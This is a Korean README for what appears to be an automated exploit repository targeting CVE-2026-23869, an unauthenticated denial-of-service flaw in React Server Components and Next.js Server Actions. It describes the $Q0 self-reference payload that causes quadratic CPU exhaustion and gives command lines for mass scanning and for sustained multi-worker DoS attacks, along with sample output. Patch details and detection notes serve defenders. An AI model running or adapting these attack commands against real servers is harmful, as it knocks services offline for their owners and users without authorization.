
CVE-2026-23869 자동 익스플로잇 도구로, React Server Components의 원격 DoS 취약점입니다. 탐지 및 익스플로잇을 위한 PoC, Nuclei 템플릿, 스캐닝 스크립트를 포함합니다.
React Flight 프로토콜을 통한 인증 없는 원격 서비스 거부(DoS)
서버 컴포넌트 Map 역직렬화의 2차 CPU 고갈
개요 • 작동 원리 • 도구 • 설치 • 사용법 • Nuclei • 수정 • 면책 조항
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-23869 |
| 별칭 | React2DoS |
| CVSS 점수 | 7.5 (높음) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (통제되지 않은 리소스 소비) |
| 유형 | 인증 없는 원격 서비스 거부(DoS) |
| 발견자 | Yohann Sillam (Imperva Threat Research) |
| 영향 범위 | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| 패치 버전 | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
React Server Components의 Flight 프로토콜 역직렬화에 심각한 서비스 거부(DoS) 취약점이 존재합니다. 인증되지 않은 공격자는 단일하게 조작된 HTTP 요청을 Next.js App Router Server Action 엔드포인트에 전송하여 2차 O(n²) CPU 고갈을 유발하고 서버를 수 분 동안 잠글 수 있습니다.
consumed 플래그React Flight 프로토콜은 데이터 유형을 직렬화하기 위해 특수 마커를 사용합니다. $Q는 Map 객체를 나타냅니다. 서버가 자기 참조 $Q0 마커를 포함하는 페이로드를 수신하면:
Payload: [ [1,1], [1,1], ...(n개의 유효한 항목)..., "$Q0", "$Q0", ...(n개의 참조)... ]
각 $Q0 는 모든 n개의 유효한 항목을 반복하는 new Map() 생성자를 트리거합니다. Map 생성자는 오류를 발생시키지만(항목이 잘못되었기 때문에), 핵심 버그는 실패 시 consumed 플래그가 설정되지 않는다는 것입니다.
즉, 다음 $Q0 가 동일한 Map을 처음부터 다시 계산하여 O(n²) 복잡도를 생성합니다:
n개의 유효한 항목 × n개의 $Q0 참조 = n² Map 생성자 호출
예시: 65,000 × 65,000 = 4,225,000,000 작업
결과: 단일 요청이 CPU를 5-10+분 동안 잠금
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ 공격자 │ ──────────────────────────────────────▶ │ Next.js 서버 │
│ │ 헤더: Next-Action: <action_id> │ │
│ │ 본문: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% 잠금 │
└──────────┘ │ ~5-10분 동안 │
└──────────────────┘
// ReactFlightReplyServer.js — 패치 전
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← 실패하지만 consumed = true를 설정하지 않음
// 다음 $Q0가 처음부터 다시 계산
}
// ReactFlightReplyServer.js — 패치 후 (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← 수정: 생성 전에 플래그 설정
return new Map(data); // 반복 재계산 방지
}
| 파일 | 설명 |
|---|---|
poc.py | 4단계 파이프라인(정찰 → 추출 → 탐지 → 공격)을 갖춘 완전 자동 공격 도구 |
CVE-2026-23869.yaml | 흐름 기반 오케스트레이션을 갖춘 Nuclei 탐지 템플릿 |
# 저장소 클론
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Python 의존성 설치
pip install requests
# 스크립트 실행 권한 부여
chmod +x poc.py scan.sh extract-action-ids.sh
# Nuclei 템플릿 스캐닝용
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 라이브 대상 필터링용
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
URL만 제공하면 도구가 모든 것을 자동으로 수행합니다:
python3 poc.py -u https://target.com
수행 과정:
# 도메인/IP 목록 스캔
python3 poc.py -L targets.txt
# JSON 보고서 출력 포함
python3 poc.py -L targets.txt -o results.json
# 안전한 탐지만 수행
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# 단발성 공격
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# 지속적 DoS (10개 워커)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL 대상 URL (단일 대상)
-L, --list FILE 대상 URL/IP 목록 파일 (줄당 하나)
-a, --action-id ID Server Action ID (자동 추출 건너뛰기)
--detect 탐지만 수행 — 안전, 비파괴적 (기본값)
--single 탐지 후 단발성 공격
--exploit 탐지 후 지속적 DoS
--extract Action ID만 추출
-l, --length N 페이로드 항목 수 (기본값: 130000)
-w, --workers N 동시 워커 수 (기본값: 5)
-d, --delay SEC 요청 간 지연 시간 (기본값: 1.0)
-o, --output FILE JSON 보고서 저장
-t, --threads N 목록 스캔 시 동시 대상 수 (기본값: 3)
기존 PoC 구문도 여전히 작동합니다:
python3 poc.py <ACTION_ID> <URL>
# 단일 대상
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# 다중 대상
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# 깔끔한 출력 (취약한 결과만)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
참고: Nuclei는 기본적으로 안전을 위해 DoS 템플릿을 제외하므로
-itags dos플래그가 필수입니다.
요청 1 (GET /) → Next.js 핑거프린팅 (헤더 + HTML 마커)
요청 2 (GET /) → createServerReference()에서 Server Action ID 추출
요청 3 (POST /) → 기준 타이밍 요청 (무해한 페이로드)
요청 4 (POST /) → 공격 프로브 (250개 유효 + 250개 $Q0 항목)
└─ 응답 시간 ≥ 3초 → 취약함
# httpx 실행 → 라이브 대상 필터링 → nuclei 스캔 → 결과
./scan.sh
# 또는 사용자 지정 파일 지정
./scan.sh targets1.txt targets2.txt
이 도구는 타이밍 기반 탐지를 사용하여 취약한 서버를 안전하게 식별합니다:
다음 조건에서 탐지가 확인됩니다:
$Q 마커가 포함된 비정상적으로 큰 multipart/form-data 본문 요청 차단/에 대한 POST 요청과 연관된 높은 CPU 사용량 알림 설정CVE-2026-23869-Exploit/
├── README.md # 이 파일
├── poc.py # 완전 자동 PoC 공격 도구
├── CVE-2026-23869.yaml # Nuclei 탐지 템플릿
├── scan.sh # httpx + nuclei 자동 스캐너
└── extract-action-ids.sh # 독립형 action ID 추출기
╔══════════════════════════════════════════════════╗
║ PHASE 1 ▸ RECONNAISSANCE ║
╚══════════════════════════════════════════════════╝
✓ Next.js 감지됨 (Next.js)
✓ 빌드 ID: abc123def456
✓ App Router: Server Actions 감지됨
╔══════════════════════════════════════════════════╗
║ PHASE 2 ▸ ACTION ID EXTRACTION ║
╚══════════════════════════════════════════════════╝
✓ 3개의 Action ID 발견:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ PHASE 3 ▸ VULNERABILITY DETECTION ║
╚══════════════════════════════════════════════════╝
[1/2] 기준: 0.142초
[2/2] 프로브: 7.891초 (기준의 55.6배)
██ 취약함 — CVE-2026-23869 확인됨 ██
╔══════════════════════════════════════════════════════════════╗
║ BATCH SCAN RESULTS ║
╚══════════════════════════════════════════════════════════════╝
스캔 대상 : 45.2초 동안 150개 대상
취약함 : 3
패치됨 : 12
건너뜀 : 135
🔴 취약한 대상
─────────────────────────────────────────────────
# 대상 프로브 비율
1 vulnerable-app.com 7.89초 55.6배
2 staging.example.com 4.21초 28.1배
3 dev.testsite.org 12.33초 82.2배
⚠️ 승인된 보안 테스트 전용
이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 대상에 대한 무단 사용은 불법이며 컴퓨터 사기 법률(CFAA, CMA 등)을 위반할 수 있습니다.
저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 서면 승인을 받으십시오.
유용하다고 생각되면 ⭐을 주는 것을 고려해 주세요
scan.sh | 래퍼 스크립트: httpx 라이브 필터링 + nuclei 스캐닝 |
extract-action-ids.sh | 독립형 Server Action ID 추출기 |
| 지표 | 취약함 | 패치됨 |
|---|
| 기준 (무해한 요청) | ~0.1-0.5초 | ~0.1-0.5초 |
| 프로브 (500개 항목) | 3-10+초 | ~0.1-0.5초 |
| 비율 (프로브/기준) | >5배 | ~1배 |
| 전체 페이로드 (130K 항목) | 5-10+분 | ~0.1-0.5초 |
| 패키지 | 취약함 | 수정됨 |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |